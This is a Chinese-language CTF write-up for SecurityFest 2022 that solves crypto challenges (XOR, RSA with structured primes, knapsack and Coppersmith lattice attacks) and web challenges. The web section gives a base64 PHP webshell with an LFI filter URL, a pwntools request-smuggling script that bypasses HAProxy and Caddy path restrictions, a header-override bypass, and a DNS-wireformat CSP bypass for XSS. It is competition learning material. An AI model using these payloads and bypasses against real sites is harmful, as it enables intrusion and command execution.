SecurityFest CTF 2022 Writeups
在 Cryptohack DC 上看到才知道有這個 CTF,所以中途以 peko 註冊了然後解了些 crypto 和 web 的題目,結果就第六名了==。
Crypto
panta fler
總之它有三個訊息 和一個同樣長度的 使用 xor 加密: 。
首先是把兩個密文 xor 可以得到 ,然後使用 flag prefix SECFEST{
猜看看會發現出來的結果像是英文單字。另外也用一樣的方法去對 測試看看也能得到一個英文單字,所以 是 flag,而 大概是英文句子。
之後就開始利用英文單字和文法去猜說 後面的明文是什麼,這樣能就恢復更長的 直到還原出整個 flag 為止。
我拿了以前解過類似題目弄的一個簡單 interactive 的工具來改,方便我猜 flag。
from functools import reduce
def xor(*args):
if len(args) == 2:
x, y = args
return bytes([a ^ b for a, b in zip(x, y)])
return reduce(xor, args)
ct = [
b"\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7",
b"\xfc\x1d4^\xd0o\xb2GE|\x89\xe4^]\xcfE\x86\xdd\x1e\x8a\r@\x1c\x96r\x92\x87\xec\x19\xd4",
b"\xfa\x19!P\x82;\xa8G\x10\x7f\x80\xa5DP\xdeE\x94\xc8S\x9cHH\x1f\x8a!\x87\xc0\xe3\x1f\xcd",
]
key = xor(b"SECFEST{", ct[0])
# key = xor(b"SECFEST{be_cautious_with_xor!}", ct[0])
while True:
pts = [xor(key, c) for c in ct]
for i, pt in enumerate(pts):
print(i, pt)
idx = int(input("Enter index: "))
if idx == -1:
break
c = input("Enter next char: ")[0]
key += bytes([ord(c) ^ ct[idx][len(key)]])
print("Current key:", key.hex())
print([xor(key, c) for c in ct])
# SECFEST{be_cautious_with_xor!}
small rsa
from random import randrange
from gmpy2 import next_prime, is_prime
bits = 128
bound = randrange(2**(bits-1), 2**bits)
print("b =", bound)
#299089579545315329927831077361748367952
B = int(next_prime(bound**2))
print("B =", B)
#89454576592593506198091003676782760426164579104178557226654770323935580674319
d = 8
def gen_prime():
while True:
ps = [randrange(bound) for _ in range(d)]
p = 0
for i in range(d):
p += ps[i]*B**i
if is_prime(p):
break
print(ps)
return p
p = gen_prime()
q = gen_prime()
n = p*q
print(f"{n = }")
#34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
e = 65537
m = b"[REDACTED]"
m = int.from_bytes(m, "big")
c = pow(m, e, n)
print(f"{c = }")
#20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273
單純的 RSA 題目,因為生成質數的部分比較特別所以目標明顯是要直接分解 。
這題有個大約 128 bits 的 bound
和約等於 bound**2
的另一數 B
,然後都符合這樣的形式:
其中的 係數都小於 bound
。
一個直覺的想法是直接把它視為 的多項式直接把 相乘:
所以理論上只要把 用 進位去處理,然後用多項式分解應該就行了…?
實際上做一些實驗會發現 和 並不一樣,這是因為當相乘的係數超過 的時候它會需要進位。所以係數不會相同。這似乎也是整數分解和多項式分解的困難度差異的關鍵: Does the security of RSA come from just the carries in multiplication?。
不過這題似乎是因為 ,所以它進位的部分都相當少,所以直接爆破進位回推 ,然後分解就能拿到 解決這題。
from Crypto.Util.number import *
from itertools import product
B = 89454576592593506198091003676782760426164579104178557226654770323935580674319
n = 34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
c = 20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273
carries = [1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 1]
def uncarry(coef, unc):
coef = coef[:]
for i in range(len(coef) - 1, 0, -1):
coef[i] -= unc[i]
coef[i - 1] += B * unc[i]
return coef
P.<x> = ZZ[]
coef = n.digits(B)
for v in product(*map(range, carries)):
# print(v)
xx = P(uncarry(coef, v))
fs = factor(xx)
if len(fs) == 2 and fs[0][0].degree() == 7 and fs[1][0].degree() == 7:
print("found")
p = fs[0][0](B)
q = fs[1][0](B)
print(p * q == n)
if p * q == n:
break
d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(power_mod(c, d, n)))
另外後來在 DC 知道這題可以用 LLL 處理。首先是 ,因為 所以直接分解 就能爆出 的可能值。
再來比較一下一次項: ,用約等於是因為有可能有進位的誤差,不過那個誤差值很小。在這個情況下 是已知的,所以可以用 LLL 嘗試去找小的解,也就是 。
之後比較一下二次項: ,一樣因為 都已知,可以用 LLL 找出 ,然後就這樣反覆類推把全部找出來。
hellman 的 impl: small_rsa.ipynb
另外還有人在 DC 發這個: https://eprint.iacr.org/2015/398.pdf ,裡面似乎也是有使用 LLL 處理這種 weak prime 的方法。不過發連結的人表示說他怎麼弄都不成功。
knäppsäck
from random import sample, randint
p = random_prime(2^1024)
R = Zmod(p)
groups = list(randint(2, 6) for i in range(40))
thresh = list(randint(i//2, i//2 + 1) for i in groups)
G = list(
list(R.random_element() for i in range(c))
for c in groups
)
message = list(
sorted(sample(range(g), i))[::-1]
for g, i in zip(groups, thresh)
)
P = sum(
sum(g[i] for i in m)
for m, g in zip(message, G)
)
print(f"p = {p}")
print(f"groups = {groups}")
print(f"thresh = {thresh}")
print(f"G = {G}")
print(f"P = {P}")
def lexorder(x, m):
if len(x) == 0: return 1
return binomial(x[0], len(x)) + lexorder(x[1:], x[0])
flag, b = 0, 1
for m, g in zip(message, groups):
flag += lexorder(m, g) * b
b *= binomial(g, len(m))
print(f"flag = {flag}")
直接看 source code 可以知道 的某個 subset 加總起來會是 ,因為 density 不高 (~0.15) 所以直接 LLL,然後回推 message
拿 flag 即可。
with open("output.txt") as f:
exec(f.read())
ar = sum(G, [])
M = matrix(ar).T.augment(matrix.identity(len(ar)) * 2)
M = M.stack(vector([-P] + [-1] * len(ar)))
M = M.stack(vector([p] + [0] * len(ar)))
M[:, 0] *= 2 ^ 128
R = M.LLL()
sol = list(R[1][1:])
message = []
for g in G:
cur = sol[: len(g)]
sol = sol[len(g) :]
message.append([i for i, v in enumerate(cur) if v == 1][::-1])
def lexorder(x, m):
if len(x) == 0:
return 1
return binomial(x[0], len(x)) + lexorder(x[1:], x[0])
flag, b = 0, 1
for m, g in zip(message, groups):
flag += lexorder(m, g) * b
b *= binomial(g, len(m))
print(f"flag = {flag}")
really_sick_æsthetic
from morfarshatt import flagga
g = lambda k: random_prime(2^k) * random_prime(2^k)
r = lambda m: randint(1, m)
n1 = g(512)
n2 = g(512)
n3 = g(512)
m = min(n1, n2, n3)
a, b = r(m), r(m)
c, d = r(m), r(m)
x = int.from_bytes(flagga, byteorder='big')
assert(x < m)
c1 = pow(x, 3, n1)
c2 = pow(a*x + b, 3, n2)
c3 = pow(c*x + d, 3, n3)
print(f'n1, n2, n3 = {n1}, {n2}, {n3}')
print(f'a, b, c, d = {a}, {b}, {c}, {d}')
print(f'c1, c2, c3 = {c1}, {c2}, {c3}')
print(f'{len(flagga)}')
有三個 RSA 的 ,然後 flag 用這樣的方法加密:
如果有重複的 的話可用 Related Message Attack 用 gcd 解,但這題不是。另一個類似形式的是 Hastad Broadcast Attack,然而這題的第二和第三式沒辦法讓我得到 和 的值。
不過 Hastad Broadcast Attack 本身用的是 CRT,這個 idea 其實也能用在這邊。可先令這幾個多項式:
可見 ,然後另外取 CRT coefficient :
兩者結合可以得到 ,這個某種程度上可以視為是對 mod 不同數的情況下做 CRT:
顯然 ,所以也有 。因為 所以 和 相比算是 small root,可用 coppersmith 求解。
不過我一開始直接 small roots 的時候都找不到解,後來還是靠 hint 額外補充的資訊才搞定:
len(flag) = 127
and
flag = SECFEST{...} + random
from Crypto.Util.number import *
n1, n2, n3 = (
1401319611347356773887154859254297488587748916167528411781955161070771235056492239930915055430725842906735678800721088435590827145380843922331596331217195998289782451691023636938672246577057750538399961569425132775422780215874173061239620286809361247476788799084351705535705191719741473638161177830819062913,
93929270671640676038272300621577590050388546365573376058848268755586443513273392470288465422034947305882115935273812814090585070611845743805708732148965001758685938419891262987151989750411904643337379571106949332912476594370786031126592832074202606178259666176275819642895388993805423801590346121886463154493,
16942255048162971761210283484837728649885892177575028340105590631533021846865838703837850496337964481215216748513001294835312645433010478899804925326573174869703026494395537885248285153728354458825455324651596388723156984568435202926704664556435326575519823264262426064534649720827701655074670423046369428487,
)
a, b, c, d = (
816707757334025955873551300291115957244929178359163189898836703794096446035376642681339350269646402403623381300867313940921411937931855866555460115147443198624007849492344102900953388236705014598317668063410070421658320251867938311242756954445599777691127340178194758168120083391846957297043258538971682656,
745711826496100756612627309746963018286384869064570930929420181315701128858481411996420808944706255787336734726114648250308181091719587312246849339268467320198235168275114019618372903191004050047010404038580467357659473336645389978388162270444112395481987515683470136265832310695565656316066649488457251542,
457113559991336310217047954994454259015470269139045253465880453115425882867168371751366860291496286988706829825972982124718895516194348207894013000632929345548822790821065845244320278540909961203024618547366059145546677151699090715138478903903713059476077714630963005563020709732576278095273999695170245879,
509199941399276795750649828994710794297214191656907620132065560140027602600782775401578085170024829709169889862887726457343903644876293675737086407127920668618215833854745693576935098817794913606783358855099827179163328860990718950946614721022541431359002875691363746468433769282630310194268851308235950929,
)
c1, c2, c3 = (
1268196573919981524276949967801999986488529166073152640081117541596594438854836034605091034310174116029963325447867011142758840266458010604314712206281207486042576686131112279236592688360682514879866358817285786950878940051455988959409256539680442525853200118747541970284236278058810272505720905257745240883,
64208823083728071837064999419452205104115247850043866522128501646834783777966548620165452087334309723488367313973950057214802570403789761738914272552005923211386317615619928040804318066050436314100228196466534901781541660761105159754722013559344265999734902281442779083683166805632208178603445218079969320285,
8509227949500504626057408247321015695521219754070289890807066036172664538036554468734653260395519871677018843271256389298835987869898579912928540836245194980365843079281083074016559389213798536654944263567871852040147199080662496995097561192482940890984303786845410433468150776276754709196911737317257395314,
)
prefix = int.from_bytes(b"SECFEST{", "big")
T1 = crt([1, 0, 0], [n1, n2, n3])
T2 = crt([0, 1, 0], [n1, n2, n3])
T3 = crt([0, 0, 1], [n1, n2, n3])
P = PolynomialRing(Zmod(n1 * n2 * n3), "x")
x = P.gen()
m = x + prefix * (2 ^ (8 * 119))
f1 = m ^ 3 - c1
f2 = (a * m + b) ^ 3 - c2
f3 = (c * m + d) ^ 3 - c3
f = f1 * T1 + f2 * T2 + f3 * T3
flag = b"SECFEST{" + long_to_bytes(
ZZ(f.monic().small_roots(X=2 ^ (8 * 119), epsilon=0.03)[0])
)
print(flag)
# SECFEST{0xlol}
和這題類似的幾個題目:
Web
dumperignon
php 題,關鍵大概在這段:
<?php
ini_set("display_errors", TRUE);
error_reporting(E_ALL);
ini_set("allow_url_fopen", 0);
ini_set("allow_url_include", 0);
ini_set("open_basedir", "/var/www");
if(isset($_GET['source'])){
die(show_source(__FILE__));
}
function nohack($str){
return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
}
foreach($_POST as $key => $val){
$_POST[$key] = nohack($val);
}
foreach($_GET as $key => $val){
$_GET[$key] = nohack($val);
}
foreach($_REQUEST as $key => $val){
$_REQUEST[$key] = nohack($val);
}
if(isset($_GET['file'])){
set_include_path("/var/www/messages");
echo "Message contents: <br>\n<pre>";
include($_GET['file']);
echo "</pre>";
die();
}
if(isset($_POST['file'])){
if(strlen($_POST['file']) > 1000){
echo "too big file";
die();
}
$filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg";
$fp = fopen("/var/www/messages/".$filename, 'wb');
fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
fclose($fp);
header('Content-Length: 0');
header('Connection: close');
header('Location: /?file='.$filename);
die();
}else{
// other html
}
解法也很簡單,在 /var/www/messages
中寫 base64 的 webshell,然後 LFI 時使用 php://filter/convert.base64-decode/resource=...
就有 webshell 了。
唯一要注意的是可能要在 base64 前面 pad 點垃圾才能讓 webshell 正常出來。
payload:
xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4
http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource%3D/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser
SECFEST{1_R@n_0ut_of_cl3v3r_fl4gz...}
*tunnelvision
賽中沒解掉這題,做個筆記而已
這題目標就只是想辦法 GET /admin
,但是前面有兩層 proxy: Haproxy -> Caddy -> Service
haproxy.cfg
:
global
stats socket /var/run/api.sock user haproxy group haproxy mode 660 level admin expose-fd listeners
log stdout format raw local0 debug
defaults
mode http
timeout client 10s
timeout connect 5s
timeout server 10s
timeout http-request 10s
log global
resolvers dns
nameserver ns1 127.0.0.11:53
hold valid 10s
frontend myfrontend
bind :80
acl local_management src 127.0.0.1
acl restricted_page path -i -m sub admin
http-request deny if restricted_page !local_management
default_backend webserver
backend webserver
http-response set-header Server webserver
server s1 loadbalancer:80 resolvers dns check
Caddyfile
:
:80 {
@blacklist {
not {
path /admin*
}
}
reverse_proxy @blacklist backend:80
}
總之它就只是擋 /admin
之類的 path 而已。
官方解 (by @avlidienbrunn):
1. bypass HAP using keep-alive + CONNECT verb + 2xx status (will put HAP in "tunnel mode", it thinks it is supposed to be a proxy, and not apply any rules)
2. bypass caddy blacklist with either invalid pct encoding or GET /admin/../blablabla. caddy uses matching on normalized path, but doesnt actually send normalized path over the wire
# coding=utf-8
import ssl, sys
from pwn import * # pip install pwntools
target = sys.argv[1]
r = remote(target, 80, ssl=False) # ssl=True
request = '''CONNECT /horoscope/leo HTTP/1.1\r\nHost: a\r\n\r\n'''.format(target)
request2 = '''GET /admin/../ HTTP/1.1\r\nHost:{}\r\n\r\n'''.format(target)
print("----------- SENDING CONNECT --------------")
r.send(request)
print(r.recvrepeat(1)) # CONNECT response
print("----------- SENDING admin --------------")
r.send(request2)
print(r.recvrepeat(1)) # smuggled GET /admin response
其中 /horoscope/leo
就只是讓它產生 200 使 haproxy 以為有成功 proxy,而 caddy 的部分在 weird_proxies - Caddy 也有記載。
不過後來還看到另一個很有趣的解:
curl -X 'POST' -H 'X-HTTP-Method-Override: GET/admin' 'http://tunnelvision-01.hackaplaneten.se/'
所以就去 trace 了一下 code 看到了 router.go#L156-L179,可以知道它會在 POST 和 X-HTTP-Method-Override
允許你 override method。但是一般情況下 override method 不應該控制到 path 對吧? 這之所以能成功是因為這個 framework 裡面的 routes 都是使用 /$METHOD$PATH
這樣的形式表示的,例如 /GET/admin
這樣。所以它透過蓋掉 method 去 injection,然後因為這題 /admin
或是 /admin/*
都能拿 flag,所以這樣就成功 match 到了。
madness
一個特殊的 XSS 題目(只需要 alert(1)
),source code 部分有幾個核心的點:
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
if path == "":
return redirect("/app", code=301)
return render_template('index.html', prefix="/"+request.path.lstrip("/"))
# ...
@app.after_request
def add_header(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
return response
還有 index.html
:
<html lang="en-US" prefix="og: http://ogp.me/ns#">
<head id="head">
<title>Madness</title>
<link
href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
rel="stylesheet"
/>
<link
href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
rel="stylesheet"
/>
<link rel="stylesheet" href="{{ prefix }}/static/style.css"></link>
<script type="text/javascript" src="{{ prefix }}/static/dns.js"></script>
<!--
_
_ _,-'_)_
|,' ,-' __) ,------/.
| -' _)/ `\ ______________
,' ,-'_,` : / \
,-' ,(,-( : | DoH' |
,' ,-' , _ ; --\_______________/
/ ,-._/`---' / _'
/ (____)(----. ) ,'
/ ( `.__, /\ /,
: ;-.___ /__\/|
| ,' `--. -,\ |
: / \ .__/
\ (__ \ |_
\ ,`-, * / _|,\
\ ,' `-. ,'_,-' \
(_\,-' ,'\")--,'-' __\
\ / // ,'| ,--' `-.
`-. `-/ \' | _,' `.
`-._ / `--'/ \
,' | \
/ | \
,-' | /
/ | -'
-->
</head>
<body class="purge-cache-page bg">
<main>
<section data-section="purge-cache">
<div class="form-container">
<header>
<h1 class="title">Madness DNS</h1>
</header>
<p class="description">
<span
>This page allows users to refresh DNS cache and lookup domain names without having to be an absolute nerd using terminals and all that stuff. Enjoy!</span
>
</p>
<form id="lookup-name-form"></form>
<form id="purge-cache-form">
<div class="label required">Domain Name</div>
<input
id="domain"
class="input-field"
name="domain"
type="text"
placeholder="example.com"
required=""
/>
<br />
<input id="submit-button" type="submit" form="lookup-name-form" value="Lookup DNS name" />
<input id="submit-button" type="submit" value="Purge DNS cache" />
</form>
<div id="info-message"></div>
</div>
</section>
</main>
</body>
</html>
很明顯的 prefix 可控,但它因為有 lstrip("/")
導致 script tag 不能使用 //example.com/foo.js
的方法去拿第三方的 script。不過我測試了一下發現 chrome 系的也會把 \
視為 /
處理,所以 \/example.com/foo.js
也是能行。
下一步是要繞 CSP,因為裡面只允許了 self 和 cloudflare-dns.com
兩個,很明顯是要在 cloudflare-dns.com
上面找到 endpoint 可以回傳自訂的 payload。
後來查一查官方文件看到了這個: Using DNS Wireformat
它能讓你直接把 DNS 的 packet 用 base64 encode 放在 url 上傳送,然後回傳值是直接 binary DNS response。所以可以看看有沒有什麼方法能讓 DNS response 變成 js 來繞 CSP。
所以我去查了一查 DNS protocol 的細節,找到了這個讓我簡單的了解了 DNS packet 的格式。而關鍵在於 DNS header 最開頭有個 16 bits 的 ID
,response 也會是以相同 ID
回傳的。所以只要讓 ID
變成是 0x2F2A
就能讓 response 以 /*
開頭。
之後就在 query 的 domain name 部分塞 */alert(1)//
之類的東西測試看看會發現它也會原封不動的出現在 response 中,所以就能 XSS 了。
from base64 import b64decode, b64encode
from dnslib import DNSRecord, DNSQuestion, DNSHeader
pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//"))
b64encode(pkt.pack())
# http://madness-01.hackaplaneten.se:3000/%5Ccloudflare-dns.com/dns-query%3Fdns%3DLyoBAAABAAAAAAAADCovYWxlcnQoMSkvLwAAAQAB%23
# SECFEST{l00kz_l13K_JS_2_m3!?}
有些時候失敗的話可以在
DNSQuestion
的name
後面隨便加點東西,反正不要讓 response 後面的垃圾出現0a
或是0d
即可